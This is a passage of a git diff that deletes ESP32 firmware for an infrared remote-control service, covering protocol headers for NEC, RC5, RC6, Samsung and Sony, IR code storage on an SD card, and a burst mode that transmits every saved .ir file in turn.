GPIO and LEDC settings - * @return ESP_OK on success - */ -esp_err_t ir_rc6_init(const ir_rc6_config_t *config); - -/** - * @brief Send RC6 command - * - * @param address 8-bit address - * @param command 8-bit command - * @param toggle Toggle bit value (0 or 1) - * @return ESP_OK on success - */ -esp_err_t ir_rc6_send(uint8_t address, uint8_t command, bool toggle); - -/** - * @brief Send RC6 command with automatic toggle - * - * @param address 8-bit address - * @param command 8-bit command - * @return ESP_OK on success - */ -esp_err_t ir_rc6_send_auto_toggle(uint8_t address, uint8_t command); - -/** - * @brief Reset toggle bit to 0 - */ -void ir_rc6_reset_toggle(void); - -#endif // IR_RC6_H diff --git a/firmware_c5/components/Service/ir/include/ir_samsung_tv.h b/firmware_c5/components/Service/ir/include/ir_samsung_tv.h deleted file mode 100644 index 2845b02b..00000000 --- a/firmware_c5/components/Service/ir/include/ir_samsung_tv.h +++ /dev/null @@ -1,70 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#ifndef IR_SAMSUNG_TV_H -#define IR_SAMSUNG_TV_H - -#ifdef __cplusplus -extern "C" { -#endif - -#include -#include -#include -#include -#include - -// Samsung TV IR Codes (exemplos comuns; podem variar por modelo) -#define TV_SAMSUNG_ON 0xE0E09966 -#define TV_SAMSUNG_OFF 0xE0E019E6 -#define TV_SAMSUNG_CH_UP 0xE0E048B7 -#define TV_SAMSUNG_CH_DOWN 0xE0E008F7 -#define TV_SAMSUNG_VOL_UP 0xE0E0E01F -#define TV_SAMSUNG_VOL_DOWN 0xE0E0D02F -#define TV_SAMSUNG_SOURCE 0xE0E0807F -#define TV_SAMSUNG_MUTE 0xE0E0F00F - -// Protocolo Samsung 32 bits -#define SAMSUNG_BITS 32 -#define SAMSUNG_HEADER_HIGH_US 4480 -#define SAMSUNG_HEADER_LOW_US 4480 -#define SAMSUNG_BIT_ONE_HIGH_US 560 -#define SAMSUNG_BIT_ONE_LOW_US 1680 -#define SAMSUNG_BIT_ZERO_HIGH_US 560 -#define SAMSUNG_BIT_ZERO_LOW_US 560 -#define SAMSUNG_END_HIGH_US 560 - -typedef struct { - uint32_t address; // 16 bits válidos - uint32_t command; // 16 bits válidos (cmd | ~cmd) - uint32_t raw_data; // 32 bits crus -} samsung_ir_data_t; - -// API -esp_err_t ir_samsung_init(gpio_num_t tx_gpio, gpio_num_t rx_gpio, bool invert_rx); -esp_err_t ir_samsung_send(uint32_t data); -esp_err_t ir_samsung_receive(samsung_ir_data_t* out, uint32_t timeout_ms); - -// Contínuo: inicia, e cada chamada retorna o último evento; rearmado automaticamente -esp_err_t ir_samsung_start_continuous_receive(void); -esp_err_t ir_samsung_poll_last(samsung_ir_data_t* out, uint32_t timeout_ms); - -void ir_samsung_deinit(void); - -#ifdef __cplusplus -} -#endif - -#endif // IR_SAMSUNG_TV_H diff --git a/firmware_c5/components/Service/ir/include/ir_sony.h b/firmware_c5/components/Service/ir/include/ir_sony.h deleted file mode 100644 index 59f0f60b..00000000 --- a/firmware_c5/components/Service/ir/include/ir_sony.h +++ /dev/null @@ -1,114 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#ifndef IR_SONY_H -#define IR_SONY_H - -#include -#include -#include "driver/gpio.h" -#include "driver/ledc.h" - -// Sony Protocol Constants -#define SONY_UNIT 600 // Base unit in microseconds (24 periods of 40kHz) -#define SONY_HEADER_MARK (4 * SONY_UNIT) // 2400 us -#define SONY_ONE_MARK (2 * SONY_UNIT) // 1200 us -#define SONY_ZERO_MARK SONY_UNIT // 600 us -#define SONY_SPACE SONY_UNIT // 600 us - -#define SONY_CARRIER_FREQ 40000 // 40 kHz carrier frequency -#define SONY_DUTY_CYCLE 33 // 33% duty cycle - -// Protocol bit lengths -#define SONY_BITS_12 12 // 7 command + 5 address -#define SONY_BITS_15 15 // 7 command + 8 address -#define SONY_BITS_20 20 // 7 command + 13 address (5 device + 8 extended) - -#define SONY_REPEAT_PERIOD 45000 // Commands repeated every 45ms - -// Protocol types -typedef enum { - SONY_12 = 12, // Standard Sony 12-bit - SONY_15 = 15, // Sony 15-bit - SONY_20 = 20 // Sony 20-bit (with extended) -} sony_protocol_t; - -// Configuration structure -typedef struct { - gpio_num_t gpio_num; - ledc_channel_t ledc_channel; - ledc_timer_t ledc_timer; -} ir_sony_config_t; - -/** - * @brief Initialize Sony IR transmitter - * - * @param config Configuration structure with GPIO and LEDC settings - * @return ESP_OK on success - */ -esp_err_t ir_sony_init(const ir_sony_config_t *config); - -/** - * @brief Send Sony SIRCS command with specific bit count - * - * @param address Address/Device code - * @param command 7-bit command (0-127) - * @param bits Number of bits (12, 15, or 20) - * @return ESP_OK on success - */ -esp_err_t ir_sony_send(uint16_t address, uint8_t command, uint8_t bits); - -/** - * @brief Send Sony SIRCS-12 command (7 command + 5 address bits) - * - * @param address 5-bit address (0-31) - * @param command 7-bit command (0-127) - * @return ESP_OK on success - */ -esp_err_t ir_sony_send_12(uint8_t address, uint8_t command); - -/** - * @brief Send Sony SIRCS-15 command (7 command + 8 address bits) - * - * @param address 8-bit address (0-255) - * @param command 7-bit command (0-127) - * @return ESP_OK on success - */ -esp_err_t ir_sony_send_15(uint8_t address, uint8_t command); - -/** - * @brief Send Sony SIRCS-20 command (7 command + 5 device + 8 extended bits) - * - * @param device 5-bit device code (0-31) - * @param extended 8-bit extended code (0-255) - * @param command 7-bit command (0-127) - * @return ESP_OK on success - */ -esp_err_t ir_sony_send_20(uint8_t device, uint8_t extended, uint8_t command); - -/** - * @brief Send Sony command with automatic repeats - * - * Sony protocol typically sends commands 3 times (2 repeats) - * - * @param address Address/Device code - * @param command 7-bit command (0-127) - * @param bits Number of bits (12, 15, or 20) - * @param repeats Number of repeats (default: 2 for 3 total sends) - * @return ESP_OK on success - */ -esp_err_t ir_sony_send_repeat(uint16_t address, uint8_t command, uint8_t bits, uint8_t repeats); - -#endif // IR_SONY_H diff --git a/firmware_c5/components/Service/ir/include/ir_storage.h b/firmware_c5/components/Service/ir/include/ir_storage.h deleted file mode 100644 index ecfab3b3..00000000 --- a/firmware_c5/components/Service/ir/include/ir_storage.h +++ /dev/null @@ -1,88 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#ifndef IR_STORAGE_H -#define IR_STORAGE_H - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -// Caminho base para armazenamento de arquivos IR -#define IR_STORAGE_BASE_PATH "/sdcard" - -// Estrutura para armazenar código IR -typedef struct { - char protocol[32]; // Nome do protocolo (NEC, RC6, RC5, Samsung32, SIRC) - uint32_t address; // Endereço - uint32_t command; // Comando - uint8_t toggle; // Toggle bit (0xFF = não usado/auto) - uint8_t bits; // Número de bits (para Sony: 12, 15 ou 20; 0xFF = não usado) -} ir_code_t; - -/** - * @brief Salva código IR em arquivo (versão simples) - * - * @param protocol Nome do protocolo - * @param command Comando - * @param address Endereço - * @param filename Nome do arquivo (sem extensão .ir) - * @return true em sucesso - */ -bool ir_save(const char* protocol, uint32_t command, uint32_t address, const char* filename); - -/** - * @brief Salva código IR em arquivo (versão estendida com toggle e bits) - * - * @param protocol Nome do protocolo - * @param command Comando - * @param address Endereço - * @param toggle Toggle bit (0xFF para não usar/auto) - * @param filename Nome do arquivo (sem extensão .ir) - * @return true em sucesso - */ -bool ir_save_ex(const char* protocol, uint32_t command, uint32_t address, uint8_t toggle, const char* filename); - -/** - * @brief Salva código IR com todos os parâmetros (incluindo bits para Sony) - * - * @param protocol Nome do protocolo - * @param command Comando - * @param address Endereço - * @param toggle Toggle bit (0xFF para não usar/auto) - * @param bits Número de bits (para Sony: 12, 15, 20; 0xFF = não usado) - * @param filename Nome do arquivo (sem extensão .ir) - * @return true em sucesso - */ -bool ir_save_full(const char* protocol, uint32_t command, uint32_t address, - uint8_t toggle, uint8_t bits, const char* filename); - -/** - * @brief Carrega código IR de arquivo - * - * @param filename Nome do arquivo (sem extensão .ir) - * @param code Ponteiro para estrutura onde salvar os dados - * @return true em sucesso - */ -bool ir_load(const char* filename, ir_code_t* code); - -#ifdef __cplusplus -} -#endif - -#endif // IR_STORAGE_H diff --git a/firmware_c5/components/Service/ir/include/protocol_nec.h b/firmware_c5/components/Service/ir/include/protocol_nec.h deleted file mode 100644 index 0a2897d8..00000000 --- a/firmware_c5/components/Service/ir/include/protocol_nec.h +++ /dev/null @@ -1,52 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#ifndef PROTOCOL_NEC_H -#define PROTOCOL_NEC_H - -#include "driver/rmt_encoder.h" -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * @brief Estrutura de scan code NEC - */ -typedef struct { - uint16_t address; ///< Endereço NEC (16 bits) - uint16_t command; ///< Comando NEC (16 bits) -} ir_nec_scan_code_t; - -/** - * @brief Timings do protocolo NEC - */ -#define NEC_LEADING_CODE_DURATION_0 9000 -#define NEC_LEADING_CODE_DURATION_1 4500 -#define NEC_PAYLOAD_ZERO_DURATION_0 560 -#define NEC_PAYLOAD_ZERO_DURATION_1 560 -#define NEC_PAYLOAD_ONE_DURATION_0 560 -#define NEC_PAYLOAD_ONE_DURATION_1 1690 -#define NEC_REPEAT_CODE_DURATION_0 9000 -#define NEC_REPEAT_CODE_DURATION_1 2250 - -#define EXAMPLE_IR_NEC_DECODE_MARGIN 200 ///< Margem de erro para decodificação (us) - -#ifdef __cplusplus -} -#endif - -#endif // PROTOCOL_NEC_H diff --git a/firmware_c5/components/Service/ir/include/protocol_rc5.h b/firmware_c5/components/Service/ir/include/protocol_rc5.h deleted file mode 100644 index 54c8637a..00000000 --- a/firmware_c5/components/Service/ir/include/protocol_rc5.h +++ /dev/null @@ -1,48 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#ifndef PROTOCOL_RC5_H -#define PROTOCOL_RC5_H - -#include "driver/rmt_encoder.h" -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * @brief Estrutura de scan code RC5 - */ -typedef struct { - uint8_t address; ///< Endereço RC5 (5 bits) - uint8_t command; ///< Comando RC5 (6 bits) - uint8_t toggle; ///< Bit de toggle RC5 (0 ou 1) -} ir_rc5_scan_code_t; - -/** - * @brief Timings do protocolo RC5 (em microsegundos) - */ -#define RC5_BIT_DURATION 889 -#define RC5_LEADING_CODE_DURATION_0 889 -#define RC5_LEADING_CODE_DURATION_1 889 - -#define EXAMPLE_IR_RC5_DECODE_MARGIN 200 ///< Margem de erro para decodificação (us) - -#ifdef __cplusplus -} -#endif - -#endif // PROTOCOL_RC5_H diff --git a/firmware_c5/components/Service/ir/include/protocol_rc6.h b/firmware_c5/components/Service/ir/include/protocol_rc6.h deleted file mode 100644 index d862f995..00000000 --- a/firmware_c5/components/Service/ir/include/protocol_rc6.h +++ /dev/null @@ -1,54 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#ifndef PROTOCOL_RC6_H -#define PROTOCOL_RC6_H - -#include "driver/rmt_encoder.h" -#include "esp_err.h" -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * @brief Estrutura de scan code RC6 - */ -typedef struct { - uint8_t address; ///< Endereço RC6 (8 bits) - uint8_t command; ///< Comando RC6 (8 bits) - uint8_t toggle; ///< Bit de toggle RC6 (0 ou 1) -} ir_rc6_scan_code_t; - -/** - * @brief Timings do protocolo RC6 (em microsegundos) - */ -#define RC6_LEADING_CODE_DURATION_0 2666 -#define RC6_LEADING_CODE_DURATION_1 889 -#define RC6_PAYLOAD_ZERO_DURATION_0 444 -#define RC6_PAYLOAD_ZERO_DURATION_1 444 -#define RC6_PAYLOAD_ONE_DURATION_0 444 -#define RC6_PAYLOAD_ONE_DURATION_1 444 -#define RC6_TOGGLE_DURATION_0 889 -#define RC6_TOGGLE_DURATION_1 889 - -#define EXAMPLE_IR_RC6_DECODE_MARGIN 200 ///< Margem de erro para decodificação (us) - -#ifdef __cplusplus -} -#endif - -#endif // PROTOCOL_RC6_H diff --git a/firmware_c5/components/Service/ir/include/protocol_samsung32.h b/firmware_c5/components/Service/ir/include/protocol_samsung32.h deleted file mode 100644 index 7e00deb6..00000000 --- a/firmware_c5/components/Service/ir/include/protocol_samsung32.h +++ /dev/null @@ -1,49 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#ifndef PROTOCOL_SAMSUNG32_H -#define PROTOCOL_SAMSUNG32_H - -#include "driver/rmt_encoder.h" -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * @brief Estrutura de scan code Samsung (32 bits) - */ -typedef struct { - uint32_t data; ///< Dados Samsung completos (32 bits) -} ir_samsung32_scan_code_t; - -/** - * @brief Timings do protocolo Samsung (em microsegundos) - */ -#define SAMSUNG32_LEADING_CODE_DURATION_0 4500 -#define SAMSUNG32_LEADING_CODE_DURATION_1 4500 -#define SAMSUNG32_PAYLOAD_ZERO_DURATION_0 560 -#define SAMSUNG32_PAYLOAD_ZERO_DURATION_1 560 -#define SAMSUNG32_PAYLOAD_ONE_DURATION_0 560 -#define SAMSUNG32_PAYLOAD_ONE_DURATION_1 1690 - -#define EXAMPLE_IR_SAMSUNG32_DECODE_MARGIN 200 ///< Margem de erro para decodificação (us) - -#ifdef __cplusplus -} -#endif - -#endif // PROTOCOL_SAMSUNG32_H diff --git a/firmware_c5/components/Service/ir/include/protocol_sony.h b/firmware_c5/components/Service/ir/include/protocol_sony.h deleted file mode 100644 index 0a9ad433..00000000 --- a/firmware_c5/components/Service/ir/include/protocol_sony.h +++ /dev/null @@ -1,49 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#ifndef PROTOCOL_SONY_H -#define PROTOCOL_SONY_H - -#include "driver/rmt_encoder.h" -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * @brief Estrutura de scan code Sony SIRC - */ -typedef struct { - uint16_t address; ///< Endereço Sony (5, 8 ou 13 bits dependendo do modo) - uint8_t command; ///< Comando Sony (7 bits) - uint8_t bits; ///< Número de bits no frame (12, 15 ou 20) -} ir_sony_scan_code_t; - -/** - * @brief Timings do protocolo Sony SIRC (em microsegundos) - */ -#define SONY_LEADING_CODE_DURATION 2400 -#define SONY_PAYLOAD_ZERO_DURATION 600 -#define SONY_PAYLOAD_ONE_DURATION 1200 -#define SONY_BIT_PERIOD 600 - -#define EXAMPLE_IR_SONY_DECODE_MARGIN 200 ///< Margem de erro para decodificação (us) - -#ifdef __cplusplus -} -#endif - -#endif // PROTOCOL_SONY_H diff --git a/firmware_c5/components/Service/ir/ir_burst.c b/firmware_c5/components/Service/ir/ir_burst.c deleted file mode 100644 index c4e0cb6e..00000000 --- a/firmware_c5/components/Service/ir/ir_burst.c +++ /dev/null @@ -1,260 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#include "ir_burst.h" -#include "ir_common.h" -#include "ir_storage.h" -#include "esp_log.h" -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" -#include -#include -#include - -static const char *TAG = "ir_burst"; -static bool g_burst_running = false; -static bool g_burst_stop_requested = false; - -// Configuração padrão -static const ir_burst_config_t DEFAULT_CONFIG = { - .delay_between_files_ms = 500, - .repeat_each_file = 1, - .delay_between_repeats_ms = 200, - .stop_on_error = false -}; - -void ir_burst_stop(void) { - g_burst_stop_requested = true; - ESP_LOGW(TAG, "Stop requested"); -} - -bool ir_burst_is_running(void) { - return g_burst_running; -} - -int ir_burst_send_all_files(const ir_burst_config_t *config) { - if (!config) { - config = &DEFAULT_CONFIG; - } - - ESP_LOGI(TAG, "=== Iniciando transmissão em burst ==="); - ESP_LOGI(TAG, "Delay entre arquivos: %lu ms", config->delay_between_files_ms); - ESP_LOGI(TAG, "Repetições por arquivo: %lu", config->repeat_each_file); - ESP_LOGI(TAG, "Delay entre repetições: %lu ms", config->delay_between_repeats_ms); - ESP_LOGI(TAG, "Parar em erro: %s", config->stop_on_error ? "SIM" : "NÃO"); - - g_burst_running = true; - g_burst_stop_requested = false; - - // Abre o diretório de arquivos IR - DIR *dir = opendir(IR_STORAGE_BASE_PATH); - if (!dir) { - ESP_LOGE(TAG, "Falha ao abrir diretório: %s (errno=%d: %s)", - IR_STORAGE_BASE_PATH, errno, strerror(errno)); - g_burst_running = false; - return 0; - } - - ESP_LOGI(TAG, "Diretório aberto com sucesso: %s", IR_STORAGE_BASE_PATH); - - // Primeira passagem: contar arquivos .ir - struct dirent *entry; - int total_files = 0; - - while ((entry = readdir(dir)) != NULL) { - // Ignora "." e ".." - if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) { - continue; - } - - size_t len = strlen(entry->d_name); - // Verifica extensão .ir ou .IR (FAT retorna em maiúsculas) - if (len > 3) { - const char *ext = entry->d_name + len - 3; - if (strcasecmp(ext, ".ir") == 0) { - total_files++; - } - } - } - - ESP_LOGI(TAG, "Encontrados %d arquivos .ir", total_files); - - if (total_files == 0) { - ESP_LOGW(TAG, "Nenhum arquivo .ir encontrado!"); - closedir(dir); - g_burst_running = false; - return 0; - } - - // Volta ao início do diretório - rewinddir(dir); - - int success_count = 0; - int fail_count = 0; - int current_file = 0; - - // Segunda passagem: transmitir arquivos - ESP_LOGI(TAG, "Iniciando segunda passagem..."); - while ((entry = readdir(dir)) != NULL && !g_burst_stop_requested) { - ESP_LOGD(TAG, "Lendo entrada: %s", entry->d_name); - - // Ignora "." e ".." - if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) { - continue; - } - - size_t len = strlen(entry->d_name); - if (len <= 3) { - ESP_LOGD(TAG, "Ignorando (len <= 3): %s", entry->d_name); - continue; - } - - // Verifica extensão .ir ou .IR (case-insensitive) - const char *ext = entry->d_name + len - 3; - if (strcasecmp(ext, ".ir") != 0) { - ESP_LOGD(TAG, "Ignorando (não .ir): %s", entry->d_name); - continue; - } - - current_file++; - ESP_LOGI(TAG, "Arquivo .ir encontrado na 2ª passagem: %s", entry->d_name); - - // Remove a extensão .ir do nome - char filename[256]; - strncpy(filename, entry->d_name, len - 3); - filename[len - 3] = '\0'; - - ESP_LOGI(TAG, "[%d/%d] Transmitindo: %s", current_file, total_files, filename); - - // Repete o arquivo N vezes - bool file_success = true; - for (uint32_t rep = 0; rep < config->repeat_each_file && !g_burst_stop_requested; rep++) { - if (config->repeat_each_file > 1) { - ESP_LOGI(TAG, " Repetição %lu/%lu", rep + 1, config->repeat_each_file); - } - - bool tx_result = ir_tx_send_from_file(filename); - - if (tx_result) { - ESP_LOGI(TAG, " ✅ Transmitido com sucesso"); - } else { - ESP_LOGE(TAG, " ❌ Falha na transmissão"); - file_success = false; - - if (config->stop_on_error) { - ESP_LOGE(TAG, "Parando devido a erro (stop_on_error=true)"); - closedir(dir); - g_burst_running = false; - return success_count; - } - } - - // Delay entre repetições (exceto na última) - if (rep < config->repeat_each_file - 1) { - vTaskDelay(pdMS_TO_TICKS(config->delay_between_repeats_ms)); - } - } - - if (file_success) { - success_count++; - } else { - fail_count++; - } - - // Delay entre arquivos (exceto no último) - if (current_file < total_files && !g_burst_stop_requested) { - vTaskDelay(pdMS_TO_TICKS(config->delay_between_files_ms)); - } - } - - closedir(dir); - - if (g_burst_stop_requested) { - ESP_LOGW(TAG, "=== Burst INTERROMPIDO pelo usuário ==="); - } else { - ESP_LOGI(TAG, "=== Burst CONCLUÍDO ==="); - } - - ESP_LOGI(TAG, "Arquivos processados: %d", current_file); - ESP_LOGI(TAG, "Sucessos: %d", success_count); - ESP_LOGI(TAG, "Falhas: %d", fail_count); - - g_burst_running = false; - return success_count; -} - -int ir_burst_send_file_list(const char **filenames, uint32_t count, - const ir_burst_config_t *config) { - if (!filenames || count == 0) { - ESP_LOGE(TAG, "Lista de arquivos inválida"); - return 0; - } - - if (!config) { - config = &DEFAULT_CONFIG; - } - - ESP_LOGI(TAG, "=== Transmitindo lista de %lu arquivos ===", count); - - g_burst_running = true; - g_burst_stop_requested = false; - - int success_count = 0; - int fail_count = 0; - - for (uint32_t i = 0; i < count && !g_burst_stop_requested; i++) { - ESP_LOGI(TAG, "[%lu/%lu] Transmitindo: %s", i + 1, count, filenames[i]); - - bool file_success = true; - for (uint32_t rep = 0; rep < config->repeat_each_file && !g_burst_stop_requested; rep++) { - if (config->repeat_each_file > 1) { - ESP_LOGI(TAG, " Repetição %lu/%lu", rep + 1, config->repeat_each_file); - } - - bool tx_result = ir_tx_send_from_file(filenames[i]); - - if (!tx_result) { - ESP_LOGE(TAG, " ❌ Falha na transmissão"); - file_success = false; - - if (config->stop_on_error) { - ESP_LOGE(TAG, "Parando devido a erro"); - g_burst_running = false; - return success_count; - } - } - - if (rep < config->repeat_each_file - 1) { - vTaskDelay(pdMS_TO_TICKS(config->delay_between_repeats_ms)); - } - } - - if (file_success) { - success_count++; - } else { - fail_count++; - } - - if (i < count - 1 && !g_burst_stop_requested) { - vTaskDelay(pdMS_TO_TICKS(config->delay_between_files_ms)); - } - } - - ESP_LOGI(TAG, "=== Transmissão concluída ==="); - ESP_LOGI(TAG, "Sucessos: %d / Falhas: %d", success_count, fail_count); - - g_burst_running = false; - return success_count; -} diff --git a/firmware_c5/components/Service/ir/ir_common.c b/firmware_c5/components/Service/ir/ir_common.c deleted file mode 100644 index d0cd4a0b..00000000 --- a/firmware_c5/components/Service/ir/ir_common.c +++ /dev/null @@ -1,403 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#include "ir_common.h" -#include "ir_storage.h" -#include "protocol_nec.h" -#include "protocol_rc6.h" -#include "protocol_rc5.h" -#include "protocol_samsung32.h" -#include "protocol_sony.h" -#include - -static const char *TAG = "ir_tx"; - -// Estados globais de toggle -static uint8_t g_rc6_toggle_state = 0; -static uint8_t g_rc5_toggle_state = 0; - -bool ir_tx_send_from_file(const char* filename) { - ESP_LOGI(TAG, "=== INÍCIO ir_tx_send_from_file ==="); - ESP_LOGI(TAG, "Filename: %s", filename); - - ir_context_t ir_ctx = {0}; - - // Carrega o código do arquivo - ir_code_t ir_code; - ESP_LOGI(TAG, "Carregando arquivo..."); - if (!ir_load(filename, &ir_code)) { - ESP_LOGE(TAG, "❌ Falha ao carregar código do arquivo: %s", filename); - return false; - } - - ESP_LOGI(TAG, "✅ Arquivo carregado:"); - ESP_LOGI(TAG, " Protocol: %s", ir_code.protocol); - ESP_LOGI(TAG, " Address: 0x%08lX", ir_code.address); - ESP_LOGI(TAG, " Command: 0x%08lX", ir_code.command); - ESP_LOGI(TAG, " Toggle: %d (0xFF=auto)", ir_code.toggle); - if (ir_code.bits != 0xFF) { - ESP_LOGI(TAG, " Bits: %d", ir_code.bits); - } - - // Inicializa TX - ESP_LOGI(TAG, "Inicializando TX..."); - esp_err_t ret = ir_tx_init(&ir_ctx); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "❌ Failed to initialize TX: %s", esp_err_to_name(ret)); - return false; - } - ESP_LOGI(TAG, "✅ TX inicializado"); - - // Cria encoder apropriado baseado no protocolo - ir_encoder_config_t enc_cfg = {0}; - - ESP_LOGI(TAG, "Identificando protocolo: %s", ir_code.protocol); - - if (strcmp(ir_code.protocol, "NEC") == 0) { - ESP_LOGI(TAG, "Configurando encoder NEC"); - enc_cfg.protocol = IR_PROTOCOL_NEC; - enc_cfg.config.nec.resolution = EXAMPLE_IR_RESOLUTION_HZ; - } - else if (strcmp(ir_code.protocol, "RC6") == 0) { - ESP_LOGI(TAG, "Configurando encoder RC6"); - enc_cfg.protocol = IR_PROTOCOL_RC6; - enc_cfg.config.rc6.resolution = EXAMPLE_IR_RESOLUTION_HZ; - } - else if (strcmp(ir_code.protocol, "RC5") == 0) { - ESP_LOGI(TAG, "Configurando encoder RC5"); - enc_cfg.protocol = IR_PROTOCOL_RC5; - enc_cfg.config.rc5.resolution = EXAMPLE_IR_RESOLUTION_HZ; - } - else if (strcmp(ir_code.protocol, "Samsung32") == 0) { - ESP_LOGI(TAG, "Configurando encoder Samsung32"); - enc_cfg.protocol = IR_PROTOCOL_SAMSUNG32; - enc_cfg.config.samsung32.resolution = EXAMPLE_IR_RESOLUTION_HZ; - } - else if (strcmp(ir_code.protocol, "SIRC") == 0 || strcmp(ir_code.protocol, "Sony") == 0) { - ESP_LOGI(TAG, "Configurando encoder Sony SIRC"); - enc_cfg.protocol = IR_PROTOCOL_SIRC; - enc_cfg.config.sony.resolution = EXAMPLE_IR_RESOLUTION_HZ; - } - else { - ESP_LOGE(TAG, "❌ Protocolo não suportado: %s", ir_code.protocol); - ir_tx_deinit(&ir_ctx); - return false; - } - - ESP_LOGI(TAG, "Criando encoder (protocol=%d)...", enc_cfg.protocol); - ret = rmt_new_ir_encoder(&enc_cfg, &ir_ctx.encoder); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "❌ Failed to create encoder: %s", esp_err_to_name(ret)); - ir_tx_deinit(&ir_ctx); - return false; - } - ESP_LOGI(TAG, "✅ Encoder criado"); - - // Transmite baseado no protocolo - ret = ESP_FAIL; - - if (strcmp(ir_code.protocol, "NEC") == 0) { - ESP_LOGI(TAG, "Transmitindo NEC: addr=0x%04X, cmd=0x%04X", - (uint16_t)ir_code.address, (uint16_t)ir_code.command); - ret = ir_tx_send_nec(&ir_ctx, (uint16_t)ir_code.address, (uint16_t)ir_code.command); - } - else if (strcmp(ir_code.protocol, "RC6") == 0) { - uint8_t toggle = (ir_code.toggle != 0xFF) ? ir_code.toggle : g_rc6_toggle_state; - ESP_LOGI(TAG, "Transmitindo RC6: addr=0x%02X, cmd=0x%02X, toggle=%d", - (uint8_t)ir_code.address, (uint8_t)ir_code.command, toggle); - ret = ir_tx_send_rc6(&ir_ctx, (uint8_t)ir_code.address, (uint8_t)ir_code.command, toggle); - - if (ir_code.toggle == 0xFF) { - g_rc6_toggle_state = !g_rc6_toggle_state; - ESP_LOGD(TAG, "Toggle RC6 alternado para: %d", g_rc6_toggle_state); - } - } - else if 